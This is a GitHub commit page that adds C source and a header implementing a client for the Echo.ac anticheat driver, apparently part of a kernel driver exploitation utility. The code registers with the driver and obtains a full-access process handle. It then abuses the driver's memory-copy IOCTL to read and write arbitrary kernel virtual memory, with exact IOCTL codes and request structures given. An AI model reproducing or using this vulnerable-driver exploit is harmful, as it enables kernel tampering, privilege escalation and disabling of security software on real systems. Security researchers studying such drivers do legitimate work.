-
Notifications
You must be signed in to change notification settings - Fork 417
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #66 from hfiref0x/dev133
v 1.3.3
- Loading branch information
Showing
71 changed files
with
814 additions
and
240 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,192 @@ | ||
| /******************************************************************************* | ||
| * | ||
| * (C) COPYRIGHT AUTHORS, 2023 | ||
| * | ||
| * TITLE: ECHODRV.CPP | ||
| * | ||
| * VERSION: 1.33 | ||
| * | ||
| * DATE: 16 Jul 2023 | ||
| * | ||
| * Inspect Element LTD spyware (anticheat) driver interface. | ||
| * | ||
| * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
| * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
| * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
| * PARTICULAR PURPOSE. | ||
| * | ||
| *******************************************************************************/ | ||
|
|
||
| // | ||
| // Based on https://github.com/kite03/echoac-poc/tree/main/PoC | ||
| // | ||
|
|
||
| #include "global.h" | ||
| #include "idrv/echodrv.h" | ||
|
|
||
| HANDLE gEchoDrvClientHandle = NULL; | ||
|
|
||
| /* | ||
| * EchoDrvReadWriteVirtualMemory | ||
| * | ||
| * Purpose: | ||
| * | ||
| * Read/Write virtual memory via EchoDrv. | ||
| * | ||
| */ | ||
| BOOL WINAPI EchoDrvReadWriteVirtualMemory( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_ ULONG_PTR VirtualAddress, | ||
| _In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
| _In_ ULONG NumberOfBytes, | ||
| _In_ BOOL DoWrite | ||
| ) | ||
| { | ||
| ECHODRV_COPYVM_REQUEST request; | ||
|
|
||
| RtlSecureZeroMemory(&request, sizeof(request)); | ||
|
|
||
| if (DoWrite) { | ||
| request.FromAddress = Buffer; | ||
| request.ToAddress = (PVOID)VirtualAddress; | ||
| } | ||
| else { | ||
| request.FromAddress = (PVOID)VirtualAddress; | ||
| request.ToAddress = Buffer; | ||
| } | ||
|
|
||
| request.BufferSize = (SIZE_T)NumberOfBytes; | ||
| request.ProcessHandle = gEchoDrvClientHandle; | ||
|
|
||
| return supCallDriver(DeviceHandle, | ||
| IOCTL_ECHODRV_COPYVM, | ||
| &request, | ||
| sizeof(request), | ||
| &request, | ||
| sizeof(request)); | ||
| } | ||
|
|
||
| /* | ||
| * EchoDrvWriteVirtualMemory | ||
| * | ||
| * Purpose: | ||
| * | ||
| * Write virtual memory via EchoDrv. | ||
| * | ||
| */ | ||
| BOOL WINAPI EchoDrvWriteVirtualMemory( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_ ULONG_PTR VirtualAddress, | ||
| _In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
| _In_ ULONG NumberOfBytes | ||
| ) | ||
| { | ||
| return EchoDrvReadWriteVirtualMemory(DeviceHandle, | ||
| VirtualAddress, | ||
| Buffer, | ||
| NumberOfBytes, | ||
| TRUE); | ||
| } | ||
|
|
||
| /* | ||
| * EchoDrvReadVirtualMemory | ||
| * | ||
| * Purpose: | ||
| * | ||
| * Read virtual memory via EchoDrv. | ||
| * | ||
| */ | ||
| BOOL WINAPI EchoDrvReadVirtualMemory( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_ ULONG_PTR VirtualAddress, | ||
| _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, | ||
| _In_ ULONG NumberOfBytes | ||
| ) | ||
| { | ||
| return EchoDrvReadWriteVirtualMemory(DeviceHandle, | ||
| VirtualAddress, | ||
| Buffer, | ||
| NumberOfBytes, | ||
| FALSE); | ||
| } | ||
|
|
||
| /* | ||
| * EchoDrvRegisterDriver | ||
| * | ||
| * Purpose: | ||
| * | ||
| * Echo client registration routine. | ||
| * | ||
| */ | ||
| BOOL WINAPI EchoDrvRegisterDriver( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_opt_ PVOID Param) | ||
| { | ||
| UNREFERENCED_PARAMETER(Param); | ||
|
|
||
| BOOL bResult; | ||
| ECHODRV_REGISTER regRequest; | ||
| ECHODRV_VALIDATE_PROCESS procRequest; | ||
|
|
||
| RtlSecureZeroMemory(®Request, sizeof(regRequest)); | ||
|
|
||
| // | ||
| // Send empty buffer so this crapware driver will remember client pid to it global variable. | ||
| // Theorerically this BS driver should do some crypto next-gen calculations but life is | ||
| // not working as authors expected. | ||
| // | ||
|
|
||
| bResult = supCallDriver(DeviceHandle, | ||
| IOCTL_ECHODRV_REGISTER, | ||
| ®Request, | ||
| sizeof(regRequest), | ||
| ®Request, | ||
| sizeof(regRequest)); | ||
|
|
||
| if (bResult) { | ||
|
|
||
| // | ||
| // Only to make MmCopyVirtualMemory work as it expects process object as param. | ||
| // | ||
| // However we are working with kernel VA and KernelMode processor mode is set by AC. | ||
| // | ||
| RtlSecureZeroMemory(&procRequest, sizeof(procRequest)); | ||
|
|
||
| procRequest.ProcessId = GetCurrentProcessId(); | ||
| procRequest.DesiredAccess = GENERIC_ALL; | ||
|
|
||
| bResult = supCallDriver(DeviceHandle, | ||
| IOCTL_ECHODRV_OPEN_PROCESS, | ||
| &procRequest, | ||
| sizeof(procRequest), | ||
| &procRequest, | ||
| sizeof(procRequest)); | ||
|
|
||
| if (bResult) | ||
| gEchoDrvClientHandle = procRequest.ProcessHandle; | ||
|
|
||
| } | ||
|
|
||
| return bResult; | ||
| } | ||
|
|
||
| /* | ||
| * EchoDrvUnregisterDriver | ||
| * | ||
| * Purpose: | ||
| * | ||
| * Echo unregister routine. | ||
| * | ||
| */ | ||
| BOOL WINAPI EchoDrvUnregisterDriver( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_opt_ PVOID Param) | ||
| { | ||
| UNREFERENCED_PARAMETER(DeviceHandle); | ||
| UNREFERENCED_PARAMETER(Param); | ||
|
|
||
| if (gEchoDrvClientHandle) | ||
| NtClose(gEchoDrvClientHandle); | ||
|
|
||
| return TRUE; | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,86 @@ | ||
| /******************************************************************************* | ||
| * | ||
| * (C) COPYRIGHT AUTHORS, 2022 | ||
| * | ||
| * TITLE: ECHODRV.H | ||
| * | ||
| * VERSION: 1.33 | ||
| * | ||
| * DATE: 16 Jul 2023 | ||
| * | ||
| * Inspect Element LTD spyware (anticheat) driver interface header. | ||
| * | ||
| * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
| * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
| * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
| * PARTICULAR PURPOSE. | ||
| * | ||
| *******************************************************************************/ | ||
|
|
||
| #pragma once | ||
|
|
||
| // | ||
| // Echo.ac driver uses a ridiculous IOCTL scheme which could be a side effect of intense copy-paste. | ||
| // | ||
|
|
||
| #define ECHODRV_DEVICE_TYPE (DWORD)0x9E6A | ||
| #define ECHODRV_INTERFACE_TYPE_1 (DWORD)0xE622 | ||
| #define ECHODRV_INTERFACE_TYPE_2 (DWORD)0x60A2 | ||
|
|
||
| #define ECHODRV_FUNCTION_REGISTER (DWORD)0x165 | ||
| #define ECHODRV_FUNCTION_OPEN_PROCESS (DWORD)0x92 | ||
| #define ECHODRV_FUNCTION_COPYVM (DWORD)0x849 | ||
|
|
||
| #define IOCTL_ECHODRV_REGISTER \ | ||
| CTL_CODE(ECHODRV_DEVICE_TYPE, ECHODRV_FUNCTION_REGISTER, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9E6A0594 | ||
|
|
||
| #define IOCTL_ECHODRV_OPEN_PROCESS \ | ||
| CTL_CODE(ECHODRV_INTERFACE_TYPE_1, ECHODRV_FUNCTION_OPEN_PROCESS, METHOD_BUFFERED, FILE_READ_ACCESS) //0xE6224248 | ||
|
|
||
| #define IOCTL_ECHODRV_COPYVM \ | ||
| CTL_CODE(ECHODRV_INTERFACE_TYPE_2, ECHODRV_FUNCTION_COPYVM, METHOD_BUFFERED, FILE_READ_ACCESS) //0x60A26124 | ||
|
|
||
| typedef struct _ECHODRV_REGISTER { | ||
| _In_ PUCHAR pvSignature; | ||
| _In_ SIZE_T cbSignature; | ||
| _Out_ BOOL bSuccess; | ||
| _Out_ DWORD UniqCode; //0x1000 for call | ||
| } ECHODRV_REGISTER, * PECHODRV_REGISTER; | ||
|
|
||
| typedef struct _ECHODRV_VALIDATE_PROCESS { | ||
| _In_ DWORD ProcessId; | ||
| _In_ ACCESS_MASK DesiredAccess; | ||
| _Out_ HANDLE ProcessHandle; | ||
| _Out_ BOOL bSuccess; | ||
| _Out_ DWORD UniqCode; //0x1001 for call | ||
| } ECHODRV_VALIDATE_PROCESS, * PECHODRV_VALIDATE_PROCESS; | ||
|
|
||
| typedef struct _ECHODRV_COPYVM_REQUEST { | ||
| _In_ HANDLE ProcessHandle; | ||
| _In_ PVOID FromAddress; | ||
| _In_ PVOID ToAddress; | ||
| _In_ SIZE_T BufferSize; | ||
| _Out_ SIZE_T NumberOfBytesCopied; | ||
| _Out_ BOOL bSuccess; | ||
| _Out_ DWORD UniqCode; //0x1002 for call | ||
| } ECHODRV_COPYVM_REQUEST, * PECHODRV_COPY_REQUEST; | ||
|
|
||
| BOOL WINAPI EchoDrvRegisterDriver( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_opt_ PVOID Param); | ||
|
|
||
| BOOL WINAPI EchoDrvUnregisterDriver( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_opt_ PVOID Param); | ||
|
|
||
| BOOL WINAPI EchoDrvReadVirtualMemory( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_ ULONG_PTR VirtualAddress, | ||
| _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, | ||
| _In_ ULONG NumberOfBytes); | ||
|
|
||
| BOOL WINAPI EchoDrvWriteVirtualMemory( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_ ULONG_PTR VirtualAddress, | ||
| _In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
| _In_ ULONG NumberOfBytes); |
Oops, something went wrong.